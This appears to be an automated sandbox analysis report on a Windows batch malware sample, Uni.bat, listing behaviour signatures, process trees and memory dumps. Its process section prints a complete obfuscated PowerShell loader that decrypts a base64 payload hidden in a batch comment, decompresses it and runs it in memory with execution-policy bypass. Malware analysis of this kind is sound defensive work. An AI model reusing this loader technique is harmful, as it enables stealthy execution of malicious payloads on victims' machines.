Analysis
- max time kernel
121s - max time network
122s - platform
windows7_x64 - resource
win7-20231129-en - resource tags
- submitted
08/05/2024, 17:08
General
- Target Uni.bat
- Size 301KB
- Sample240508-vnlkpagh86
- SHA256 d1c5a6ee28141a729b788a725748d718c2cf26d6cf66c19a524072eeb03cf334
Score
7/10
Malware Config
Signatures
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe"Uni.bat.exe" -noprofile -ep bypass -command $sQWxo = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($wuunU in $sQWxo) { if ($wuunU.StartsWith(':: ')) { $Gefee = $wuunU.Substring(3); break; }; };$BRHkO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($Gefee);$UoJkv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('llI7MHEN3rnuJm+OhoiaRW5vgXl8RYhNtONXY+rZGh8=');for ($i = 0; $i -le $BRHkO.Length - 1; $i++) { $BRHkO[$i] = ($BRHkO[$i] -bxor $UoJkv[$i % $UoJkv.Length]); };$mAGPa = New-Object System.IO.MemoryStream(, $BRHkO);$OtAiB = New-Object System.IO.MemoryStream;$IbMMP = New-Object System.IO.Compression.GZipStream($mAGPa, [IO.Compression.CompressionMode]::Decompress);$IbMMP.CopyTo($OtAiB);$IbMMP.Dispose();$mAGPa.Dispose();$OtAiB.Dispose();$BRHkO = $OtAiB.ToArray();$KXfoP = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($BRHkO);$Ujyzm = $KXfoP.EntryPoint;$Ujyzm.Invoke($null, (, [string[]] ('')))2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
Uni.bat.exe
memory/2264-5-0x000007FEF546E000-0x000007FEF546F000-memory.dmp
memory/2264-6-0x000000001B380000-0x000000001B662000-memory.dmp
memory/2264-7-0x0000000001D40000-0x0000000001D48000-memory.dmp
memory/2264-8-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp
memory/2264-9-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp
memory/2264-10-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp
memory/2264-13-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp
memory/2264-12-0x000007FEF51B0000-0x000007FEF5B4D000-memory.dmp
memory/2264-11-0x0000000002924000-0x0000000002927000-memory.dmp